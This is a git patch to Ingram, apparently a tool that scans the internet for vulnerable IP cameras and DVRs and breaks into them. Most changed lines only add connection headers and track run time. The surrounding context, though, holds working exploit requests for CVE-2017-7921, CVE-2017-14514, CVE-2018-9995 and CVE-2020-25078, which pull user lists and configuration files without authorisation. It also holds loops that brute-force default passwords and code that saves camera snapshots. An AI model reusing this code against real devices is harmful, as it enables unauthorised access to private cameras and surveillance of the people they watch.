From 251b10641dcd2dc664408c0a1dda7070d2a762b9 Mon Sep 17 00:00:00 2001 From: jorhelp <2373911050@qq.com> Date: Thu, 15 Dec 2022 16:33:14 +0800 Subject: [PATCH] stash --- Ingram/VDB/CVE_2017_14514.py | 2 +- Ingram/VDB/CVE_2017_7921.py | 2 +- Ingram/VDB/CVE_2018_9995.py | 1 + Ingram/VDB/CVE_2020_25078.py | 2 +- Ingram/VDB/__init__.py | 2 +- Ingram/VDB/uniview_disclosure.py | 2 +- Ingram/VDB/weak_passwd.py | 8 ++++---- Ingram/core/data.py | 26 +++++++++++++------------- Ingram/core/main.py | 3 +-- Ingram/middleware/detect.py | 17 +++++++++-------- Ingram/middleware/shop.py | 20 +++++++++++++++++--- 11 files changed, 50 insertions(+), 35 deletions(-) diff --git a/Ingram/VDB/CVE_2017_14514.py b/Ingram/VDB/CVE_2017_14514.py index f685e25..9b8c8a5 100644 --- a/Ingram/VDB/CVE_2017_14514.py +++ b/Ingram/VDB/CVE_2017_14514.py @@ -8,7 +8,7 @@ from Ingram.utils import logger def cve_2017_14514(ip: str) -> list: - headers = {'User-Agent': config.USERAGENT} + headers = {'Connection': 'close', 'User-Agent': config.USERAGENT} url = f"http://{ip}/cgi-bin/DownloadCfg/RouterCfm.cfg" try: diff --git a/Ingram/VDB/CVE_2017_7921.py b/Ingram/VDB/CVE_2017_7921.py index dec3232..5b47d1c 100644 --- a/Ingram/VDB/CVE_2017_7921.py +++ b/Ingram/VDB/CVE_2017_7921.py @@ -50,7 +50,7 @@ def config_decryptor(data): def cve_2017_7921(ip: str) -> list: - headers = {'User-Agent': config.USERAGENT} + headers = {'Connection': 'close', 'User-Agent': config.USERAGENT} user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK" config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK" timeout = config.TIMEOUT diff --git a/Ingram/VDB/CVE_2018_9995.py b/Ingram/VDB/CVE_2018_9995.py index 2487ccc..953f39e 100644 --- a/Ingram/VDB/CVE_2018_9995.py +++ b/Ingram/VDB/CVE_2018_9995.py @@ -7,6 +7,7 @@ from Ingram.utils import logger def cve_2018_9995(ip: str) -> list: headers = { + 'Connection': 'close', 'User-Agent': config.USERAGENT, 'Cookie': 'uid=admin', } diff --git a/Ingram/VDB/CVE_2020_25078.py b/Ingram/VDB/CVE_2020_25078.py index 9951f5e..2fbd113 100644 --- a/Ingram/VDB/CVE_2020_25078.py +++ b/Ingram/VDB/CVE_2020_25078.py @@ -6,7 +6,7 @@ from Ingram.utils import logger def cve_2020_25078(ip: str) -> list: - headers = {'User-Agent': config.USERAGENT} + headers = {'Connection': 'close', 'User-Agent': config.USERAGENT} url = f"http://{ip}/config/getuser?index=0" try: diff --git a/Ingram/VDB/__init__.py b/Ingram/VDB/__init__.py index da2b56a..69a8375 100644 --- a/Ingram/VDB/__init__.py +++ b/Ingram/VDB/__init__.py @@ -28,4 +28,4 @@ def get_vul(dev: str) -> list: elif dev == config.DVR: return [cve_2018_9995, ] else: - return None \ No newline at end of file + return [] diff --git a/Ingram/VDB/uniview_disclosure.py b/Ingram/VDB/uniview_disclosure.py index 0e6b97d..c40ac44 100644 --- a/Ingram/VDB/uniview_disclosure.py +++ b/Ingram/VDB/uniview_disclosure.py @@ -26,7 +26,7 @@ def disclosure(ip: str) -> list: if char != "124" and char != "0": decoded.append(code_table[char]) return ''.join(decoded) - headers = {'User-Agent': config.USERAGENT} + headers = {'Connection': 'close', 'User-Agent': config.USERAGENT} url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"' try: r = requests.get(url, headers=headers, verify=False, timeout=config.TIMEOUT) diff --git a/Ingram/VDB/weak_passwd.py b/Ingram/VDB/weak_passwd.py index 3769ebc..6a4a26a 100644 --- a/Ingram/VDB/weak_passwd.py +++ b/Ingram/VDB/weak_passwd.py @@ -13,7 +13,7 @@ USERAGENT = config.USERAGENT def hikvision_weak(ip: str) -> list: url = f"http://{ip}/ISAPI/Security/userCheck" - headers = {'User-Agent': USERAGENT} + headers = {'Connection': 'close', 'User-Agent': USERAGENT} timeout = TIMEOUT for user in USERS: for passwd in PASSWDS: @@ -65,7 +65,7 @@ def dahua_weak(ip: str) -> list: def cctv_weak(ip: str) -> list: - headers = {'User-Agent': USERAGENT} + headers = {'Connection': 'close', 'User-Agent': USERAGENT} for user in USERS: for passwd in PASSWDS: url = f'http://{ip}/cgi-bin/gw.cgi?xml=' @@ -83,12 +83,12 @@ def cctv_weak(ip: str) -> list: # still bugs... def uniview_weak(ip: str) -> list: - headers = {'User-Agent': USERAGENT} + headers = {'Connection': 'close', 'User-Agent': USERAGENT} # still bugs... def dlink_weak(ip: str) -> list: - headers = {'User-Agent': USERAGENT} + headers = {'Connection': 'close', 'User-Agent': USERAGENT} for user in USERS: for p in PASSWDS: r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p)) diff --git a/Ingram/core/data.py b/Ingram/core/data.py index 98769bc..db6975d 100644 --- a/Ingram/core/data.py +++ b/Ingram/core/data.py @@ -22,6 +22,7 @@ class Data: self.var_lock = RLock() self.file_lock = RLock() self.create_time = get_current_time() + self.runned_time = 0 self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest() self.total = 0 @@ -43,8 +44,12 @@ class Data: # done state_file = os.path.join(self.output, f'.{self.taskid}') if os.path.exists(state_file): - with open(state_file, 'r') as f: - self.done = int(f.readline().strip()) + try: + with open(state_file, 'r') as f: + _done, _runned_time = f.readline().split(',') + self.done = int(_done.strip()) + self.runned_time = float(_runned_time.strip()) + except: pass # found results_file = os.path.join(self.output, 'results.csv') @@ -80,24 +85,19 @@ class Data: yield ip def get_total(self): - with self.var_lock: - return self.total + with self.var_lock: return self.total def get_done(self): - with self.var_lock: - return self.done + with self.var_lock: return self.done def get_found(self): - with self.var_lock: - return self.found + with self.var_lock: return self.found def found_add(self): - with self.var_lock: - self.found += 1 + with self.var_lock: self.found += 1 def done_add(self): - with self.var_lock: - self.done += 1 + with self.var_lock: self.done += 1 def vul_add(self, item): with self.file_lock: @@ -111,7 +111,7 @@ class Data: def record_running_state(self): with open(os.path.join(self.output, f".{self.taskid}"), 'w') as f: - f.write(str(self.done)) + f.write(f"{str(self.done)},{self.runned_time + get_current_time() - self.create_time}") def __del__(self): try: # if dont use try, sys.exit() may cause error diff --git a/Ingram/core/main.py b/Ingram/core/main.py index 5c7b8dc..9eb3753 100644 --- a/Ingram/core/main.py +++ b/Ingram/core/main.py @@ -37,7 +37,7 @@ def status(core): try: while True: if tmp % 15 == 0: # every ~1s - time_interval = get_current_time() - core.create_time + time_interval = get_current_time() - core.data.create_time + core.data.runned_time core.data.record_running_state() total = core.data.get_total() done = core.data.get_done() @@ -58,7 +58,6 @@ class Core: def __init__(self): self.finish = False - self.create_time = get_current_time() self.data = Data(config.IN, config.OUT) self.workshop = Workshop(os.path.join(config.OUT, 'snapshots'), config.TH // 4) self.scan = Scan(self.data, self.workshop, config.PORT) diff --git a/Ingram/middleware/detect.py b/Ingram/middleware/detect.py index 3f917c7..46d1f59 100644 --- a/Ingram/middleware/detect.py +++ b/Ingram/middleware/detect.py @@ -20,7 +20,7 @@ DEV_HASH = { '1536f25632f78fb03babedcb156d3f69': config.UNIVIEW_NVR, 'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # bugs } -HEADERS = {'User-Agent': config.USERAGENT} +HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT} TIMEOUT = config.TIMEOUT @@ -38,12 +38,13 @@ def device_detect(ip: str, port: str) -> str: # these are need to be hashed for url in url_list[:3]: try: - r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS) - if r.status_code == 200: - hash_val = hashlib.md5(r.content).hexdigest() - if hash_val in DEV_HASH: - device = DEV_HASH[hash_val] - return device + # r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS) + with closing(requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)) as r: + if r.status_code == 200: + hash_val = hashlib.md5(r.content).hexdigest() + if hash_val in DEV_HASH: + device = DEV_HASH[hash_val] + return device except Exception as e: logger.error(e) # not hash @@ -86,4 +87,4 @@ def port_detect(ip: str, port: str) -> bool: except Exception as e: s.close() logger.error(e) - return False \ No newline at end of file + return False diff --git a/Ingram/middleware/shop.py b/Ingram/middleware/shop.py index 0162642..ac652d8 100644 --- a/Ingram/middleware/shop.py +++ b/Ingram/middleware/shop.py @@ -2,8 +2,8 @@ import os import requests from functools import partial -from xml.etree import ElementTree from requests.auth import HTTPDigestAuth +from xml.etree import ElementTree from Ingram.utils import config from Ingram.utils import logger @@ -11,11 +11,22 @@ from Ingram.utils import get_user_agent TIMEOUT = config.TIMEOUT -HEADERS = {'User-Agent': config.USERAGENT, } +HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT } def _snapshot_by_url(url, file_name, workshop, auth=None): try: + if auth: + r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=HEADERS) + if r.status_code == 200: + with open(file_name, 'wb') as f: f.write(r.content) + workshop.done_add() + else: + r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS) + if r.status_code == 200: + with open(file_name, 'wb') as f: f.write(r.content) + workshop.done_add() + if auth: r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=HEADERS) else: r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS) if r.status_code == 200: @@ -44,7 +55,10 @@ def snapshot(camera_info, workshop): # get channels channels = 1 try: - r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", auth=HTTPDigestAuth(user, passwd)) + r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", + auth=HTTPDigestAuth(user, passwd), + headers=HEADERS, + timeout=TIMEOUT) root = ElementTree.fromstring(r.text) channels = len(root) except Exception as e: